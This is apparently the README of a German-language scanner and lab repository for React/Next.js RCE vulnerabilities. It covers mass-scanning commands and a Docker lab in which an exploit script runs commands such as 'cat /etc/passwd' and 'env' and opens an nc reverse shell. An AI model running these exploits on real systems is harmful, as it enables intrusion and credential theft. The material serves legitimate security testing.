
React2shell-web-scanner
Hochauflösender Schwachstellenscanner für CVE-2025-55182 und CVE-2025-66478 - Remote Code Execution-Schwachstellen in React Server Components / Next.js.
📖 Für eine detaillierte technische Analyse, Exploit-Mechanismen und IOC-Daten siehe SECURITY-RESEARCH.md
Dieses Werkzeug wird NUR für BILDUNGSZWECKE und AUTORISIERTE SICHERHEITSTESTS bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Verwenden Sie diese Werkzeuge nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Die Autoren übernehmen keine Haftung für Missbrauch.
| CVE | Beschreibung | CVSS |
|---|---|---|
| CVE-2025-55182 | React Server Components Unsicheres Deserialisieren RCE | 9.8 Kritisch |
| CVE-2025-66478 | Next.js Server Actions RCE | 9.8 Kritisch |
Betroffene Pakete:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0Behobene Versionen:
# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# Single URL
python3 react2shell-scanner -u https://example.com
# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check
# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains
# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# Custom paths
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v
# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
Erstellen Sie .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
Oder Umgebungsvariablen verwenden:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
Eine Docker-basierte Testumgebung ist enthalten. Siehe Lab-instructions-sample.md für eine Kurzreferenz.
# Start lab
cd test-lab/lab
docker-compose up -d
# Services:
# - Vulnerable: http://localhost:3011
# - Patched: http://localhost:3012
# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# Test patched instance
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# Run full demo
./test-and-demo.sh --full-demo
⚠️ Hinweis: Exploit-Befehle (z. B.
exploit.py -c "whoami") lösen TATSÄCHLICHE RCE aus. Nur für Forschungszwecke auf lokalen Docker-Containern verwenden.
Führen Sie Befehle auf verwundbaren Zielen aus. Erfordert Python 3.11+
cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# Start listener (in another terminal)
nc -lvnp 4444
# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# Available payload types: nc, nc-mkfifo, sh, bash, perl
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
Der Scanner enthält bekannte Indikatoren für Kompromittierung (IOCs) aus aktiven Exploit-Kampagnen:
payloads-exploits/iocs.csvpayloads-exploits/weaponized-payloadspayloads-exploits/iocs_patterns.csvErkannte IOC-Übereinstimmungen werden mit hohem Schweregrad markiert.
| Datei | Inhalt |
|---|---|
iocs.csv | 32 bekannte bösartige IPs mit Geolokalisierungsdaten |
--safe-check)echo $((41*271)) ausführtreact2shell-scanner-CVE-2025-55182/
├── react2shell-scanner # Haupt-Scanner-Skript
├── cve-2025-66478-web-scan # Ursprüngliche Scanner-Referenz
├── nuclei-rules # Nuclei-Vorlage
├── test-and-demo.sh # Testautomatisierung
├── README.md # Diese Datei
├── SECURITY-RESEARCH.md # Detaillierte technische Analyse
├── Lab-instructions-sample.md # Kurzanleitung für Labortests
├── payloads-exploits/
│ ├── iocs.csv # Bekannte bösartige IPs
│ ├── iocs_patterns.csv # Erweiterte IOCs (Domains, URLs, Hashes)
│ ├── weaponized-payloads # Reale Angriffs-Payloads
│ └── exploit-2025-55182 # Rohe HTTP-Exploit-Anfrage
└── test-lab/
├── exploit.py # Exploit-Werkzeug
├── lab/
│ ├── docker-compose.yml
│ ├── vulnerable/ # Angreifbare Next.js-App
│ └── patched/ # Gepatchte Next.js-App
└── packages/
├── vulnerable/ # Angreifbare npm-Pakete
└── patched/ # Gepatchte npm-Pakete
| Repository | Zweck |
|---|---|
| react2shell-scanner-CVE-2025-55182 | Labore, Scanner und Exploits (dieses Repo) |
| react2shell-scanner-rce-react-next | Vollständiger Scanner mit Weboberfläche |
Dieses Werkzeug wird nur für autorisierte Sicherheitstests bereitgestellt. Sie müssen vor dem Scannen eines Ziels eine ausdrückliche schriftliche Erlaubnis haben. Nicht autorisiertes Scannen kann gegen Computerkriminalitätsgesetze verstoßen.
Verantwortungsvoll nutzen:
Bereitgestellt von Sicherheitsforschern, die daran arbeiten, das Web sicherer zu machen.
| Option | Beschreibung |
|---|
-u, --url | Ziel-URL (erforderlich) |
-c, --cmd | Auszuführender Befehl |
-r, --reverse | Reverse-Shell-Modus aktivieren |
-l, --lhost | Listener-Host für Reverse Shell |
-p, --lport | Listener-Port für Reverse Shell |
-P, --payload | Payload-Typ: nc, nc-mkfifo, sh, bash, perl |
--timeout | Request-Timeout (Standard: 10s) |
iocs_patterns.csv | Erweiterte IOCs: C2-Domänen, Dropper-URLs, Malware-Hashes, Monero-Wallets |
weaponized-payloads | Reale Angriffs-Payloads, die bei aktiven Exploit-Kampagnen beobachtet wurden |
exploit-2025-55182 | Rohformat der HTTP-Anfrage für den Exploit |